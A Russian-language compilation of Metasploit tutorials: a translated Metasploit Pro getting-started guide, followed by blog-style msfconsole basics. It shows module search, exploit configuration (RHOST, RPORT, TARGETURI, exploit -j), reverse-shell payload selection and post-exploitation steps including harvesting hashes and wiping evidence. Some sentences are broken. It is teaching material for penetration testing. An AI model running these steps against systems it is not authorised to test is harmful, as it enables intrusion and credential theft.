Soft Начало работы с Metasploit. Metasploit инструкция по применению Metasploit kali инструкция по применению

Офисные 22.11.2023
Офисные

Первое, что нужно сделать. Если вы еще не скачали Metasploit, ознакомьтесь с

Скрыто от гостей

А если Metasploit уже установлен на вашем компьютере, поздравляем! Вы можете начинать работу.

О Metasploit

Metasploit – это платформа для тестирования, поиска и использования уязвимостей. Она включает фреймворки Metasploit и их коммерческие аналоги: Metasploit Pro, Express, Community и Nexpose Ultimate.

Фреймворк Metasploit

Metasploit Framework является основой для создания коммерческих продуктов. Это проект с

Скрыто от гостей

Который обеспечивает инфраструктуру, содержание и инструменты для проведения тестов и обширного аудита безопасности. Благодаря сообществу с открытым исходным кодом и собственной трудолюбивой контент-команде, регулярно добавляются новые модули. А это значит, что они становятся доступными для вас сразу после публикации.

В интернете есть довольно много ресурсов, которые могут помочь вам узнать, как использовать фреймворк Metasploit. Тем не менее, мы настоятельно рекомендуем ознакомиться с

Скрыто от гостей

Которая поддерживается командой Rapid 7.

Если вы не можете найти то, что вам нужно, дайте нам знать, и мы добавим нужную информацию.

Metasploit Pro и другие коммерческие версии

Коммерческие версии Metasploit, которые включают Pro, Express, Community и Nexpose Ultimate, доступны для пользователей, которые предпочитают использовать веб-интерфейс для тестирования на проникновение. В дополнение к веб-интерфейсу некоторые коммерческие издания предоставляют возможности, которые недоступные в Metasploit Framework.

Большинство дополнительных функций нацелены на автоматизацию и оптимизацию общих задач тестирования, как, например, проверка уязвимости, социальная инженерия, методы грубой атаки.

Если вы используете командную строку, но по-прежнему желаете получить доступ к коммерческим функциями, не волнуйтесь. Metasploit Pro включает консоль, которая очень похожа на Msf консоль, за исключением того, что она дает доступ к большинству функций в командной строке Metasploit Provia.

Запуск Metasploit

Rapid7 представляет коммерческие и открытые версии Metasploit для операционных систем Linux и Windows.

Вы можете загрузить и запустить файл для установки Metasploit Pro на локальном компьютере или на удаленном хосте. Вне зависимости от того, где вы устанавливаете Metasploit Pro, вы можете получить доступ к интерфейсу через веб-браузер. Metasploit использует защищенное соединение с сервером.

Если вы установили Metasploit Pro на веб-сервер, пользователи могут использовать веб-браузер, чтобы получить доступ к интерфейсу с любого места. Пользователям нужно знать адрес и порт сервера. По умолчанию служба Metasploit использует порт 3790. Вы можете изменить порт, который использует Metasploit, в процессе установки.

Если Metasploit повторно запускается на вашем локальном компьютере, вы можете использовать локальный хост и порт 3790, чтобы получить доступ к Metasploit Pro. Например, введите

Скрыто от гостей

В URL браузера, чтобы загрузить пользовательский интерфейс.

Чтобы получить больше информации об установке, ознакомьтесь с разделом «Установка фреймворка Metasploit» или «

Скрыто от гостей

».

Компоненты Metasploit Pro

Metasploit Pro состоит из нескольких компонентов, которые обеспечивают полный пакет инструментов для тестирования. Следующие компоненты входят в состав Metasploit Pro.

Фрейморк Metasploit

Metasploit Framework – это платформа для тестирования с открытым исходным кодом, которая предоставляет доступ к различным приложениям, операционным системам и платформам. Вы можете использовать Metasploit Framework для создания дополнительных инструментов пользовательской безопасности или написать свой код для новых уязвимостей.

Команда Metasploit регулярно выпускает обновления, которые содержат новые модули и обновления, которые содержат исправления и улучшения для Metasploit Pro.

Moдули

Модуль – это отдельный элемент кода или программного обеспечения, который расширяет функциональные возможности Metasploit Framework. Модули автоматизируют функциональные возможности, которые обеспечивает Metasploit Framework.
Модули бывают: эксплойт, пейлоуд, NOP, модуль постэксплуатации и другие. Тип модуля определяет его назначение.

Сервисы

Metasploit использует следующие сервисы:

  • Postgre SQL запускает базу данных, которую Metasploit Pro использует для хранения данных проекта.
  • Ruby on Rails запускает веб-интерфейс Metasploit Pro.
  • Pro сервис или Metasploit сервис использует Rails, фреймворк Metasploit и Metasploit RPC сервер.
Веб-интерфейс

Для работы с Metasploit Pro доступен веб-интерфейс. Чтобы запустить его, откройте браузер и перейдите на

Скрыто от гостей

.

Интерфейс командной строки

Консоль Pro позволяет выполнить командную строку с помощью Metasploit.

Основные понятия и термины

Чтобы познакомить вас с Metasploit Pro, ниже представлены некоторые понятия и термины, которые необходимо понимать:

  • Дополнительный модуль : Модуль, который не выполняет пейлоуд. Примеры дополнительных модулей: сканеры, отказ от атак сервера и др.
  • Bind-shell пейлоуд : Командная строка, которая присоединяет слушателя к используемой системе и ожидает подключения к слушателю.
  • База данных : База данных хранит данные хоста, системные логи, собранные сведения и данные отчёта.
  • Развернутое сканирование : Развернутое сканирование – это Metasploit сканирование, которое соединяет Nmap и различные модули Metasploit.
  • Exploit : Программа, которая использует преимущества определенной уязвимости и предоставляет злоумышленнику доступ к целевой системе. Программа, как правило, содержит пейлоуд и доставляет его к цели. Например, один из наиболее распространенных эксплойтов – это MS08-067, который нацелен на уязвимость службы Windows и делает возможным удаленное выполнение кода.
  • Exploit модуль : Модуль, который выполняет последовательность команд для использования уязвимости в системе или приложения для обеспечения доступа к целевой системе. Короче говоря, эксплойт создает сеанс. Эксплойт модули включают: переполнение буфера, инъекции кода и эксплойты веб-приложений.
  • Слушатель : Слушатель ждет сигнала соединения от любой эксплуатируемой цели или атакующей машины и управляет соединением.
  • Meterpreter : Продвинутый многофункциональный пейлоуд, который обеспечивает интерактивный шелл. Из шелла Meterpreter вы можете скачать файл, получить хэши паролей для учетных записей пользователей, и др. Meterpreter запускается памятью, поэтому большинство систем обнаружения вторжений не видят его.
  • Модуль : Автономная часть кода, которая расширяет функциональные возможности Metasploit Framework. Различают такие типы модулей: эксплойт, дополнительный или постэксплуатационный. Тип модуля определяет его назначение. Например, любой модуль, который может открыть шелл цели, называется эксплоит. Популярный эксплоит-модуль MS08-067.
  • Пейлоуд : Фактический код, который используется на целевой системе после того, как эксплойт успешно компрометирует цель. Пейлоуд позволяет определить, как вы хотите подключиться к шеллу и что вы хотите сделать относительно целевой системы после того, как начнете ее контролировать. Пейлоуд может быть противоположным или связанным с шеллом. Основное различие между этими двумя видами в направлении связи.
  • Модуль постэксплуатации : Модуль, который позволяет собрать больше информации или получить дальнейший доступ к эксплуатируемой целевой системе. Примеры послеэксплуатационных модулей включают в себя приложения и сервисы переписчиков.
  • Проект : Контейнер для целей, задач, отчетов и данных, которые являются частью сканирования. Проект содержит рабочее пространство, которое используется для создания сканирования и настройки задач. Каждый тест на проникновение работает изнутри проекта.
  • Обратный шелл Payload : Шелл, который соединяется с атакующей машиной.
  • Shell (шелл) : Интерфейс, который обеспечивает доступ к удаленной цели.
  • Код шелл : Набор инструкций, который эксплойт использует в качестве payload.
  • Задача : Действие, которое может выполнять Metasploit, например, сканирование, эксплуатация, отчетность.
  • Рабочее пространство : То же самое, что и проект, за исключением того, что используется только при работе с Metasploit Framework.
  • Уязвимость : Недостаток безопасности, который позволяет злоумышленнику компрометировать цель. Скомпрометированная система может стать причиной эскалации привилегий, несанкционированного доступа к данным, похищения паролей, переполнения буфера.
Работа Metasploit Pro

Общий процесс тестирования на проникновение может быть разделен на несколько этапов или фаз. В зависимости от методологии, которую вы будете применять, в тесте на проникновение может быть использовано от четырех до семи фаз. Названия этапов могут меняться, но они, как правило, состоят из: зондирования, сканирования, эксплуатации, постэксплуатации, сохранения доступа, очистки и отчетности.

Работа Metasploit Pro может быть основана на разных этапах тестирования. Рабочий процесс в общем включает в себя такие шаги:

  1. Создание проекта: Создание проекта для хранения данных, собранных из ваших целей.
  2. Сбор информации: Используется развернутое сканирование, Nexpose или инструменты для обеспечения Metasploit Pro данными хостов, С их помощью могут быть выявленны уязвимости.
  3. Эксплойт: Используются автоматические или ручные эксплойты для запуска атак против известных уязвимостей и получения доступа к скомпрометированным целям.
  4. Постэксплуатация: Используйте модули постэксплуатации или интерактивные сессии, чтобы собрать больше информации о скомпрометированных целях. Metasploit Pro предоставляет несколько инструментов, которые можно использовать для взаимодействия с открытыми сессиями на эксплуатируемой машине. Например, вы можете просмотреть общие файловые системы на скомпрометированных целях, чтобы идентифицировать информацию о внутренних приложениях и использовать функцию сбора паролей и хэшей.
  5. Грубая атака: запуск грубой атаки для проверки собранных паролей, чтобы обнаружить действующие имена входа.
  6. Очистка открытых сессий: Вы можете закрыть открытые сессии на используемых целях, чтобы удалить какую-либо информацию о данных, которые могут быть в системе. Этот процесс восстанавливает исходные настройки в целевой системе.
  7. Создание отчетов: Создание отчета с подробными выводами. Metasploit Pro предоставляет несколько типов отчетов, которые можно использовать для настройки данных отчета. Наиболее часто используемый – это отчет по аудиту, который обеспечивает детальную оценку хостов и учетных данных, захваченных в проекте.
Доступ к Metasploit Pro через веб-интерфейс

Чтобы использовать веб-интерфейс для работы с Metasploit Pro, откройте браузер и перейдите на

Скрыто от гостей

Если Metasploit повторно запущен на вашем компьютере, вам нужно заменить Localhost на адрес удаленного компьютера.
Для входа в веб-интерфейс вам нужно имя пользователя и пароль для учетной записи, созданной при активации лицензионного ключа для Metasploit Pro. Если вы не можете вспомнить пароль, установленный для учетной записи, вам нужно его

Скрыто от гостей

.
Поддерживаемые браузеры

Если пользовательский интерфейс не отображает все элементы должным образом, пожалуйста, убедитесь, что вы используете один из поддерживаемых браузеров, перечисленных ниже:

  • Google Chrome 10+
  • Mozilla Firefox 18+
  • Internet Explorer 10+
  • Iceweasel 18+
Доступ к Metasploit Pro из командной строки

Pro Console обеспечивает функциональные возможности Metasploit Pro через интерфейс командной строки и служит альтернативой Metasploit Web UI. Если вы традиционно используете Metasploit Framework, то Pro Console предоставит вам нечто похожее на консоль Msf.

Вы можете использовать Pro Console для исполнения следующих задач:

  • Создание и управление проектами.
  • Сканирование и перечисление хостов.
  • Импорт и экспорт данных.
  • Настройка и запуск модулей.
  • Запуск автоматизированных эксплойтов.
  • Просмотр информации о хостах.
  • Сбор данных из используемых систем.

Вы не можете выполнять все задачи через консоль Pro. Задачи, которые не поддерживаются: отчетность, социальная инженерия, запуск Meta модулей, настройка цепочки задач, запуск грубой атаки, сканирование веб-приложений.​

Запуск Pro Console на Windows

Чтобы запустить консоль на Windows, выберите Начало > Metasploit > Консоль Metasploit.

Вы также можете запустить консоль из командной строки. Для того, чтобы запустить консоль из командной строки, введите следующее:

$ cd /metasploit $ console.bat

Запуск Pro Console на Linux

Для того, чтобы запустить консоль на Linux, выполните следующие действия:

$ cd /opt/Metasploit/ $ sudo msfpro

Страница «Проекты»

Теперь, когда вы знакомы с некоторыми основами Metasploit, давайте более детально рассмотрим Metasploit Pro. После входа в Metasploit Pro первый экран, который открывается – это страница Проекты. Здесь представлены все проекты, которые в настоящее время хранятся в Metasploit Pro. Также вам открывается доступ к новостям о продуктах и запуску мастеров, инструментов.

Вне зависимости от того, где вы находитесь в приложении, вы можете выбрать Проекты > Показать все проекты из панели инструментов или нажать на логотип Metasploit Pro, чтобы перейти на страницу (см. ниже):

Панель инструментов

Основная панель инструментов расположена в верхней части веб-интерфейса. Она доступна из любой точки в Metasploit Pro. Вы можете использовать панель инструментов для доступа к меню проектов, настройки учетной записи и меню администратора.

Мастер быстрого запуска

Каждый мастер быстрого запуска работает с помощью управляемого интерфейса, который проведет вас через задачу тестирования на проникновение, как, например, сканирование и эксплуатация цели, создание инженерных социальных кампаний, сканирование и использование веб-приложений, а также проверка уязвимостей.

Вы можете нажать на любую из иконок мастера быстрого запуска, чтобы запустить управляемый интерфейс.

Новости о продуктах

В этом разделе представлены последние новости Rapid 7. Если вы хотите использовать самые новые модули из Rapid 7 и сообщества, панель «Новости о продуктах» – отличное место для того, чтобы узнать больше об актуальных обновлениях.

Если по какой-то причине вы не хотите видеть панель новостей, вы можете скрыть ее так, чтобы она не отображалась на странице проектов.

Создание проекта

Теперь, когда вы знакомы со страницей проектов, давайте попробуем создать проект.

Проект содержит рабочее пространство, хранилище данных. Есть возможность взаимодействовать логическими группами. У вас будут часто возникать различные требования к разным подсетям в организации, поэтому иметь несколько проектов для представления этих требований – отличная идея.

Например, вы можете создать проект для отдела кадров и еще один проект для IT-отдела. Ваши требования для этих отделов могут сильно отличаться, поэтому логично распределить цели в разные проекты. Вы можете создавать отдельные отчеты для каждого отдела, чтобы провести сравнительный анализ и предоставить свои выводы организации.

Создать проект просто. Можно нажать на кнопку Новый проект на странице проектов или выбрать Проект > Новый проект на основной панели инструментов.

Когда появится страница «Новые проекты», вам нужно всего лишь указать имя. Если вы хотите настроить проект, вы можете добавить описание, указать диапазон сети, а также назначить уровень доступа пользователей.

Желаете узнать больше о проектах?

Скрыто от гостей

.

Получение целевых данных

Следующее, что нужно сделать – добавить данные в проект. Есть несколько способов сделать это:

  • Запустить развернутое сканирование.
  • Импорт данных, которые у вас уже есть.
Цели сканирования

Сканирование представляет собой процесс исследования хостов и перечисления открытых портов для получения видимости служб, работающих в сети. Сканирование позволяет идентифицировать активные системы с сервисами, через которые вы можете общаться. Благодаря этому можно разработать эффективный план атаки.

Metasploit имеет свой собственный встроенный развернутый сканер, который использует Nmap для выполнения сканированияя TCP портов и сбора дополнительной информации о целевых хостах.

По умолчанию процесс иследования включает в себя UDP сканирование, которое посылает UDP зонды к наиболее известным портам UDP, как, например, NETBIOS, DHCP, DNS и SNMP. Сканирование проверяет около 250 портов, которые, как правило, используются внешними сервисами.

В процессе сканирования Metasploit Pro автоматически сохраняет данные хоста в проекте. Вы можете просмотреть данные хоста, чтобы получить лучшее представление о топологии сети и определить наилучший способ использования каждой цели. Чем больше информации вы сможете собрать о цели, тем точнее сможете настроить тест для нее.

Запуск тестирования – процесс не сложный. В рамках проекта нажмите кнопку Сканировать .

Когда появится форма «Новое развернутое сканирование», введите хосты, которые необходимо проверить в поле «Целевые адреса ». Можно ввести один IP-адрес, диапазон IP или стандартную CIDR запись. Каждый элемент должен появиться в новой линии.

Вы можете запустить сканирование с помощью всего лишь одного целевого диапазона. Однако, если вы хотите более детально настроить сканирование, можно воспользоваться дополнительными параметрами. Например, вы можете указать хосты, которые вы хотите исключить из сканирования и установить скорость сканирования.

Хотите узнать больше о развернутом сканировании? Перейдите на

Скрыто от гостей

.

Импорт данных

Если вы используете сканер уязвимостей, вы можете импортировать отчет об уязвимости в проект Metasploit. Импортированные данные об уязвимости также включают в себя хост-метаданные, которые можно анализировать, чтобы определить дополнительные пути для атаки. Metasploit поддерживает несколько сканеров уязвимостей, в том числе Nessus, Qualys и Core Impact.

Вы также можете экспортировать и импортировать данные из одного проекта Metasploit в другой. Это позволяет обмениваться результатами между проектами и другими членами команды.

Чтобы импортировать дынные в проект, нажмите на кнопку Импорт Когда появится страница импорта данных, выберите импорт из NeXpose или импорт из файла. В зависимости от выбранного варианта форма отобразит параметры, которые необходимо настроить для импорта файла.

Например, если вы хотите импортировать из NeXpose, необходимо выбрать консоль, которую вы желаете использовать, чтобы запустить сканирование или импортировать сайт. Если вы хотите импортировать файл, нужно перейти к местоположению файла.
Чтобы увидеть полный список доступных типов импорта и узнать больше об импорте, перейдите на

Скрыто от гостей

.

Просмотр и управление данными хоста

Вы можете просматривать данные хоста на уровне проекта или на уровне хоста. На уровне проекта Metasploit обеспечивает представление всех хостов, которые были добавлены в проект.

Для доступа к просмотру на уровне проекта выберите Aнализ > Хосты .

Просмотр на уровне проекта изначально показывает список узлов сети с количеством портов и сервисов для каждого хоста. Вы также можете просмотреть все записи, сервисы, уязвимые места и полученные данные для проекта. Чтобы получить доступ к ним, нажмите на их вкладки.

Чтобы просмотреть подробные детали для хоста, необходимо нажать кнопку IP-адрес хоста. Это хороший способ, с помощью которого можно увидеть уязвимые места и учетные данные конкретного хоста.

Запуск сканирования уязвимостей

После добавления целевых данных в ваш проект вы можете запустить сканирование уязвимостей, чтобы точно определить недостатки безопасности, которые могут быть использованы. Сканеры проверяют известные уязвимости и ошибки конфигурации, которые существуют на целевых машинах. Эта информация поможет вам определить возможные направления и планы атаки.
Интеграция с NeXpose позволяет запустить сканирование уязвимостей непосредственно из веб-интерфейса Metasploit. Сканирование NeXpose идентифицирует активные сервисы, открытые порты, а также приложения, которые работают на каждом хосте; NeXpose пытается определить уязвимые места, которые могут существовать на основе известных сервисов и приложений.
Чтобы запустить сканирование NeXpose, нажмите кнопку NeXpose , расположенную в панели задач.

Когда появится форма настроек NeXpose, нужно настроить и выбрать консоль, которую вы хотите использовать для выполнения сканирования. Также необходимо определить узлы для проверки и выбрать один из доступных шаблонов сканирования, который определяет уровень используемого аудита. Для получения дополнительной информации о шаблонах сканирования, ознакомтесь с

Скрыто от гостей

.

Чтобы просмотреть все потенциальные уязвимости, которые были найденные NeXpose, выберите Aнализ> Уязвимости . Вы можете нажать на имя уязвимости для просмотра модулей, которые были использованы для того, чтобы ее найти.

Важная информация: эксплуатация.

Сканеры уязвимостей являются полезными инструментами, которые могут помочь вам быстро найти потенциальные недостатки безопасности. Тем не менее, вы можете запустить некоторые вспомогательные модули, такие как FTP, SMB и VNC, чтобы вручную определить потенциальные уязвимости, которые могут быть использованы. Ручной анализ уязвимости отнимает значительно больше времени и требует критического мышления, а также глубоких знаний с вашей стороны, но это поможет вам создать точный и эффективный план атаки.​

Простой способ поиска и использования уязвимостей

Самый простой способ сканирования и проверки уязвимостей – с помощью мастера проверки, который автоматизирует процесс сканирования для пользователей NeXpose и Metasploit Pro. Мастер предоставляет управляемый и удобный интерфейс, который поможет вам пройти процесс проверки – от импорта данных NeXpose до автоматической эксплуатации уязвимостей для отправки результатов проверки обратно к NeXpose.

Если у вас нет доступа к NeXpose и / или к Metasploit Pro, для проверки потребуется выполнить ручной анализ уязвимостей. Ручная проверка требует немного больше усилий, но обеспечивает гораздо больший контроль над уязвимостями,
Чтобы узнать больше информации о проверке уязвимостей, перейдите на

Скрыто от гостей

.

Использование известных уязвимостей

После того, как вы собрали информацию о ваших целях и определили потенциальные уязвимости, вы можете перейти к фазе эксплуатации. Эксплуатация – это процесс запуска эксплойтов против обнаруженных уязвимостей. Успешная эксплуатация обеспечивает доступ к целевым системам, поэтому вы сможете получить хэши паролей и файлы конфигурации.

Metasploit предлагает несколько различных методов, которые можно использовать для эксплуатации: автоматическая эксплуатация и ручная.

Автоматическая эксплуатация

Автоматическая эксплуатация использует перекрестные ссылки, открытые сервисы, уязвимые ссылки, чтобы найти соответствующие эксплойты. Все эксплойты добавляются в план атаки, который и определяет эксплойты для запуска. Особенность автоматической эксплуатации в том, чтобы завершить сессию как можно быстрее за счет использования данных, которые Metasploit имеет для целевых хостов.

Для запуска автоматической эксплуатации, нажмите кнопку Эксплуатация , расположенную в панели задач.

Вы должны предоставить хосты, которые хотите использовать и минимальную надежность каждому эксплойту. Минимальная надежность может быть установлена, чтобы гарантировать безопасность эксплойтов, которые запускаются. Чем выше уровень надежности, тем меньше вероятность того, что эксплойты будут использоваться вредоносными сервисами. Чтобы ознакомиться с описаниями каждого модуля, перейдите на эту страницу.

Ручная эксплуатация

Ручная эксплуатация обеспечивает более целенаправленный и методический подход к использованию уязвимостей. С ее помощью можно по одному запускать выбранные эксплойты. Данный метод особенно полезен, если существует определенная уязвимость, которую вы хотите использовать.

Например, если вы знаете, что SMB сервер на Windows XP не имеет патча MS08-067, вы можете попробовать запустить соответствующий модуль, чтобы использовать его.

Для поиска модулей выберите Модули> Поиск и введите имя модуля, который вы хотите запустить. Лучший способ найти модуль – поиск по ссылке уязвимости. Например, если вы хотите искать формы 08-067, вы можете искать for’ms08-067 ‘. Также можно осуществлять поиск по пути модуля: exploit/windows/smb/ms08_067_netapi.

Один из самых простых и удобных способов найти эксплоит для уязвимости – непосредственно на странице уязвимости. Чтобы просмотреть все уязвимости в проекте, выберите Анализ > Уязвимости . Вы можете нажать на имя уязвимости, чтобы просмотреть связанные модули, которые могут применятся для ее использования.

Отдельный вид уязвимости показывает список эксплойтов, которые могут быть использованы против хоста. Вы можете нажать кнопку Использовать , чтобы открыть страницу настроек модуля.

Общие настройки модулей

Каждый модуль имеет свой собственный набор опций, который может быть настроен для ваших потребностей. Существует очень много возможностей, поэтому перечислить здесь все невозможо. Тем не менее, ниже представлены несколько вариантов, которые обычно используются для настройки модулей:

  • Тип пейлоуда: Определяет тип пейлоуда, который эксплойт будет доставлять к цели. Выберите один из следующих типов пейлоуда:
  • Command: Пейлоуд, который выполняет команду. С его помощью можно выполнять команды на удаленном компьютере.
  • Meterpreter: Прогрессивный пейлоуд, который предоставляет командную строку, с помощью которой можно доставлять команды и применять расширения.
  • Тип соединения: Определяет, как Metasploit будет подключаться к цели. Выберите один из следующих типов соединения:
  • Автоматический: При автоматическом соединении используется связанное соединение, если был обнаружен NAT; в противном случае, используется обратная связь.
  • Связанный: Используется связанное соединение, что особенно важно, если цель находится не в зоне брандмауэра или NAT шлюза.
  • Обратный: Использует обратную связь, что особенно важно, если ваша система не может инициировать соединение с целями.
  • LHOST: Определяет адрес локального хоста.
  • LPORT: Определяет порты, которые вы хотите использовать для обратных связей.
  • RHOST: Определяет адрес цели.
  • RPORT: Определяет удаленный порт, который вы хотите атаковать.
  • Настройки цели: Указывает целевую операционную систему и версию.
  • Перерыв эксплойта: Определяет время ожидания в течение нескольких минут.
Пост-эксплуатация и сбор данных

Любой эксплойт, который успешно использует результаты уязвимостей в открытой сессии, вы можете использовать для извлечения информации из цели. Реальное значение атаки зависит от данных, которые вы можете получить от цели (например, хэши паролей, системные файлы), а также от того, как вы будете использовать эти данные для получения доступа к дополнительным системам.
Для просмотра списка открытых сеансов выберите вкладку Сеансы (Sessions) . Нажмите на ID сеанса, чтобы просмотреть пост-эксплуатационные задачи, которые могут быть запущены против хоста.

Для того, чтобы собрать данные из эксплуатируемой системы, нажмите на кнопку Collect .

Список всех открытых сеансов показывает тип данных, которые могут быть собраны.

Очистка сессий

Когда вы закончите работу с открытой сессией, вы можете ее очистить, перед тем, как завершить сеанс. Это позволит удалить любые доказательства, которые могут быть оставлены в системе. Чтобы очистить сеанс, перейдите на страницу Sessions (Сеансы) и нажмите кнопку Clean up (Очистить ).

Когда появится страница очистки сессии, выберите сеансы, которые вы хотите закрыть, после этого нажмите на кнопку Clean up
Sessions
.

Создание отчета

В конце теста на проникновение вы можете создать отчет. Metasploit предоставляет несколько видов отчетов, которые можно использовать для компиляции результатов тестирования и консолидации данных. Каждый отчет организует свои выводы в соответствующие разделы, отображает диаграммы и графики для статистических данных, и резюмирует основные выводы.
Чтобы узнать больше об отчетах, перейдите на

Скрыто от гостей

.

Дополнительные ресурсы

Мы с вами изучили много информации. Если вы желаете изучить более детально определенные вопросы, обратитесь к

Скрыто от гостей

.

Теперь, когда вы знаете, как выполнять общие задачи в Metasploit Pro, ознакомьтесь с другими опциями, которые можно использовать:

  • Желаете автоматизировать задачи? Ознакомьтесь с цепными задачами.
  • Интересуетесь грубой атакой?

    Скрыто от гостей

    .
  • Хотите запустить программу по вопросам безопасности?

    Скрыто от гостей

    Как построить кампании социальной инженернии.

  • Предпочитаете командную строку?

    Скрыто от гостей

    .
  • Интересуют фреймворки?

    Скрыто от гостей

    .

Что такое метасплойт?

Метасплойт (а правильно говорить о метасплойте как о проекте) – это именно проект в области компьютерной безопасности, направленный на информирование пользователей (в первую очередь владельцев, разработчиков и администраторов) сетей и ресурсов о возможных уязвимостях в системе безопасности и помогающий в тестировании систем и сетей с целью закрытия в дальнейшем дыр в их безопасности и защиты от . Для разработки метасплойтов существует специальная среда под названием Metasploit Framework . Последняя вылилась в своеобразный подпроект, представляющий собой программную среду или платформу для разработки и использования эксплойтов на удалённой машине. Вопрос использования платформы и применения проекта в целом достаточно скользкий, так как среда, призванная к проведению исследовательской деятельности системных администраторов сети в области защищённости сетей с успехом используется хакерами для разработки и внедрения новейших эксплойтов для получения неавторизованного доступа к ресурсам.

Metasploit Framework с момента изобретения в 2003 претерпела некоторые изменения, и до нас дошла со свободно распространяемой лицензией в бесплатном и коммерческом вариантах. В оба варианта включено множество готовых эксплойтов, которые помогут справиться с обнаружением известных уязвимостей. Отлично запускается на Unix и Windows системах, имеет несколько интерфейсов на выбор пользователя, в том числе в виде окна браузера.

Как пользоваться Metasploit Framework, или что умеет метасплойт? Основные шаги в использовании среды.

Перед работой в среде, конечно, необходимо собрать максимум информации о компьютере, так что необходимо пользоваться полным набором сетевых и , так что над выбором эксплойта и пэйлоуда придётся потрудиться.

Где скачать Metasploit Framework?

Да вот здесь:

https://www.metasploit.com/download/

Но не торопитесь. Также платформа входит в состав некоторых свободно распространяемых сборок систем на бесплатной и свободной лицензии. С такой мы и будем знакомиться на странице блога в разделе Линукс. В состав принимающей участие во множестве экспериментов эта среда входит совершенно бесплатно.

Знакомство с понятием ШЕЛЛ.

В зависимости от типа эксплойта, после того как экплойт претвориться в жизнь, мы будем иметь дело либо с удалённым шеллом (Remote shell ) и метр-шеллом (Meterpreter shell ).

Удалённый шелл – компьютерная программа из командной строки (терминала), которая может исполнять команды на удалённом компьютере, словно бы вы находились за его клавиатурой. Это своеобразный удалённый Рабочий стол (так он называется в Windows). Стандартный шелл применяется в случаях, если хакер собирается исполнять на компьютере жертвы стандартные команды. Однако если речь идёт о комплексных манипуляциях в текущей сессии и исполнении команд с дополнительными флагами, будет использован шелл Метерпретер.

С метр-шеллом немного интереснее. Meterpreter shell предлагает уже целую кучу готовых программных решений. В их числе утилиты и скрипты для сбора информации по удалённому компьютеру, инструменты контроля над устройствами типа микрофон или вебкамера и т.п. И с развитием техник взлома интерес к готовым решениям, которые только разрастаются и совершенствуются, всё больше. А теперь об описанных выше шагах чуть подробнее.

Поиск и конфигурация эксплойта

Подразумеваю, что вы уже в Кали. Запускаем Метасплойт и даём команду на отображение известных эксплойтов. Это команда

Терминал вернёт информацию по эксплойтам в алфавитном порядке. Это не всегда удобно, потому поиск можно уточнить флагами на поиск по:

  • словарю Общих уязвимостей и незакрытых дыр в безопасности (CVE ID ). Можно сразу указать желаемый год:
search cve:2017

  • бюллетеню безопасности Майкрософт
search MS
  • прямо по желаемой программе или производителю ПО или устройства
search Netgear

  • и, выцепив интересненькое, получить по этому поводу всю об уязвимости информацию, добавив перед уязвимостью info (ссылки на ещё более подробную инфу по этому вопросу будут в том же терминале). Взгляните:

Там всё есть и ждёт вашего анализа и применения. Но перед тем, как перейти в конфигурации эксплойта, возьмём уязвимость в оборот командой use

Или, вернувшись к одному из предыдущих окон, обнаружить к оборудованию подходящий эксплойт и также его применить:

и сразу проверим, как его применять и к чему привязать, используя знакомый нам флаг info в контексте эксплойта:


Конфигурация эксплойта: установка опций

Направить метасплойт в нужное русло нам поможет команда set . Команда в msf примет вид

Set имя_переменной её_значение

Но чтобы узнать, какие переменные для эксплойта существуют, можно использовать команду show options

Раздел Module options , знакомый нам по окну команды с флагом info , показывает, какую конфигурацию можно применить в плане выбора цели. Так, модуль сразу указывает на то, что эсплойт применяется против уязвимости с применением этих ОБЯЗАТЕЛЬНЫХ опций (готовые к работе выделены флагом yes , те, что на no вами ещё не настроены). То есть для осуществления эксплойта пентестер указал:

  • адрес удалённой системы (RHOST )
  • удалённый порт 8080 (RPORT )
  • в качестве индетификатора цели (TARGETURI ) – путь к приложению в системе или путь к оборудованию жертвы (например, если атакуется роутер, здесь указывается полный путь в виде адреса к уязвимому файлу)

Завершим картинку в общих чертах. Запуск эксплойта в нашем случае примет примерно такой вид:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На ус команды, описанные выше, мотать не нужно. Более подробнее информация будет дана позже.

Выбор и формирование пэйлоуда

Зачем нам доступ к чужому компьютеру, если мы ничего там не натворим? И для этой цели понадобится пэйлоуд. Применимо к теме метасплойта, пэйлоуд – именно та часть зловредного программного обеспечения, направленного на изменение функционала системы. В то время, как другая часть программы-вредоноса может быть направлена на дополнительные функции (например, копирование и тиражирование самого себя; речь идёт о компьютерном вирусе). Как понимаете, пэйлуд можно вычленять в отдельный код и использовать в разных вариантах.

Работая в среде Metasploit, можно посмотреть на готовые варианты пэйлоудов применимо к выбранным эксплойтам. Это делается командой

Show payloads

в выбранном вами варианте эксплойта. Ещё вариант – в выбранном эксплойте пишем

Set payload

и закрепляем, дважды нажав по клавише Tаb . Metasploit спросит, не хотите ли вы посмотреть всех… Пэйлоудов. И обычно терминал Metasploit-а выводит информацию по пэйлоудам в формате Operating System/Shell Type Операционная система/Тип шелла . Например

Set payload/windows/shell_reverse_tcp

Остаётся выбрать нужную ОСь и понравившийся тип пэйлоуда. Самые популярные типы пэйлоудов это и есть шеллы, о которых мы говорили выше (удалённый шел и метерпретер шел или метер -шелл).

Выбор пэйлоудов из кэша среды очень широк. Так же как и выбор средств, с помощью которых система жертвы будет “сливать” хакеру нужную информацию. Типичные шеллы с основой reverse_tcp из команды выше для того и существуют: исполняясь на удалённой системе, они сообщают злоумышленнику данные, часто не вызывая подозрений у системного фаервола.

Пока всё. Успехов

Мы написали много статей по взлому с использованием Metasploit , в том числе о том, как не оставлять следов, об изучении внутренней архитектуры сайта, а также массу шпаргалок по командам и скриптам.

Этим руководством мы начинаем объемную серию статей для обучения и использования Metasploit . Эта первая ознакомительная часть, где кратко будут рассмотрены основы Metasploit - одной из самых мощных хакерских платформ на планете Земля.

Происхождение и установка Metasploit

Metasploit - проект с открытым исходным кодом, разработанный хакером HD Moore в 2003 году. Первоначально он был написан на Perl , но в 2007 году полностью переписан на Ruby . В 2009 году был выкуплен Rapid7 , компанией специализирующейся на предоставлении услуг по информационной безопасности, которая также выпустила сканер уязвимостей Nexpose .

Metasploit версии 4.12 уже включен в дистрибутив Kali Linux . Он также встроен в BackTrack . Если вы используете другой дистрибутив Linux или MaxOS , то вам придется скачать его с сайта Rapid7 .

Если вы используете Windows , то вам также придется скачать Metasploit с сайта Rapid7 , но мы не рекомендуем запускать его в Windows . Вы, безусловно, сможете это сделать, однако многие функции, которые мы будем рассматривать в этой статье, просто не будут там работать.

